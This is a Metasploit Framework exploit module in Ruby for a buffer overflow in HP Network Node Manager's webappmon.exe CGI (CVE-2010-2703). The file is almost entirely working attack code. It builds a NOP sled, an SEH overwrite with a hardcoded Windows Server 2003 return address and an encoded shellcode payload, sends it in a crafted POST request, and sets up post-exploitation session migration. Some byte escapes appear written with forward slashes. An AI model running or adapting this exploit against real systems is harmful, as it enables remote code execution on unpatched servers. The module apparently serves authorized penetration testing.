### $Id: hp_nnm_webappmon_execvp.rb 12086 2011-03-23 03:38:46Z sinn3r $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##require 'msf/core'class Metasploit3 < Msf::Exploit::Remote	Rank = NormalRanking	include Msf::Exploit::Remote::HttpClient	include Msf::Exploit::Remote::Seh	def initialize(info={})		super(update_info(info,			'Name'        => "HP NNM CGI webappmon.exe execvp Buffer Overflow",			'Description' => %q{				This module exploits a buffer overflow in HP NNM's webappmon.exe.				The vulnerability occurs when function "execvp_nc" fails to do any bounds-				checking before strcat is used to append user-supplied input to a buffer.			},			'License'	  => MSF_LICENSE,			'Version'	  => "$Revision: 12086 $",			'Author'      =>				[					'shahin <shahin[at]abysssec.com>',					'sinn3r',				],			'References' =>				[					['CVE', '2010-2703'],					['OSVDB', '66514'],				],			'Payload'	 =>				{					'BadChars' => [*(0x00..0x09)].pack("C*") + [*(0x0a..0x0f)].pack("C*") + [*(0x10..0x1f)].pack("C*") + "/x7f",					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,					'EncoderOptions' => {'BufferRegister'=>'ECX'},				},			'DefaultOptions' =>				{					'ExitFunction' => "seh",					'AutoRunScript' => 'migrate -f',				},			'Platform' => 'win',			'Targets'	 =>				[					[ 'Windows Server 2003 Ent', {'Ret'=>0x5A30532D} ],				],			'DisclosureDate' => "SEP 6 2010"))			register_options(				[					Opt::RPORT(80),				], self.class)	end	def exploit		nops = make_nops(1000)*10		sploit = nops[0, 5455]		sploit << generate_seh_record(target.ret)		sploit << "/x61"*13		sploit << "/x51"		sploit << "/xc3"		sploit << nops[0, 57]		sploit << payload.encoded		sploit << nops[0, 10000-sploit.length]		post_data = "ins=#{sploit}&sel=#{sploit}&app=#{sploit}&act=#{sploit}&arg=#{sploit}&help=#{sploit}&cache=1600 HTTP/1.1"		connect		print_status("Sending malicious request...")		send_request_raw({			'uri' => '/OvCgi/webappmon.exe',			'data' => post_data,			'version' => '1.1',			'method' => 'POST',			'headers' => {				'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',				'Accept-Language' => 'en-us,en;q=0.5',				'Accept-Encoding' => 'gzip,deflate',				'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',				'Keep-Alive' => '300',				'Connection' => 'Keep-Alive',				'Cache-Control' => 'max-age=0',				'Content-Length' => post_data.length,				'Content-Type' => 'application/x-www-form-urlencoded',			}		}, 3)		handler		disconnect	endend